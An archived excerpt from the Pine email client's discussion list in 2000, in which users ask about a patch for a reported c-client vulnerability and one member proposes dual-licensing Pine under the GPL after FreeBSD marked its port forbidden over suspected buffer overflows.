Sep 2000 12:48:40 -0500 (CDT) Message-Id: Date: Thu, 28 Sep 2000 12:48:40 -0500 (CDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Francisco Arias To: Pine Discussion Forum Subject: Re: Multiline header bug In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Gopi Sundaram X-Cc: Pine Discussion Forum X-Sender: farias@mail X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm refering to the "UW c-client library vulnerability" that appears on september 1st on this list and bugtraq. I have not heard about a patch for this. fjac On Thu, 28 Sep 2000, Gopi Sundaram wrote: > On Thu, 28 Sep 2000, Francisco Arias wrote: > > > Is there a patch for the multiline header bug on pine 4.21? > > What bug? I've only noticed problems when a defective MUA sends a > header with a line so long that instead of wrapping it, the MUA adds a > newline. > > Have you noticed Pine do this as well? > > Gopi. > > -- > Gopi Sundaram > gopi@cs.sc.edu > > From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Sat, 30 Sep 2000 15:10:09 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA04929; Sat, 30 Sep 2000 15:10:08 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA26082; Sat, 30 Sep 2000 15:10:07 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA12293; Sat, 30 Sep 2000 15:09:28 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA49276 for ; Sat, 30 Sep 2000 15:07:56 -0700 Received: from isr5981.urh.uiuc.edu (qmailr@isr5981.urh.uiuc.edu [130.126.211.213]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id PAA22019 for ; Sat, 30 Sep 2000 15:07:56 -0700 Received: (qmail 57536 invoked by uid 1000); 30 Sep 2000 22:07:55 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 30 Sep 2000 22:07:55 -0000 Message-Id: Date: Sat, 30 Sep 2000 17:07:55 -0500 (CDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Frank Tobin To: Pine Discussion Forum Subject: licensing issues MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: ftobin@palanthas.neverending.org X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Recently, the FreeBSD security team decided to mark the Pine port as FORBIDDEN, due to a high suspiscion of buffer-overflow problems (e.g., grepping the source for strcpy and friends), and the history of related programs. This move has been dicussed lengthily on the freebsd-security mailing list, and some ideas that have come up talk concern the licensing of Pine, which may limit the ability of developers to share developments in an Open Source fashion. My question is this: has there been any thought given to the prospect of licensing Pine under a dual license: its current license, and the GPL? As far as I can tell, The GPL is a "tighter" license than the current one, so it would not give away any owernship problems UofW would be concerned with. Providing Pine under the GPL, a highly standardized license, would solve any concern about validness of Pine as Open Source or Free Software. This may become more and more of an issue as people wishing to maintain Pine outside of UofW try to fix security issues in the Pine package. Pine is, of course, highly popular due to it's user-friendliness and interface-design, and I would hate to see it diminish because simply of licensing problems. Perl simillarly does a dual-licensing; it distributes under both the Artistic (a fairly liberal license) and the GPL (a tighter license); the end-user can choose which license to apply. -- Frank Tobin http://www.uiuc.edu/~ftobin/ -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ -----------------------------------------------------------------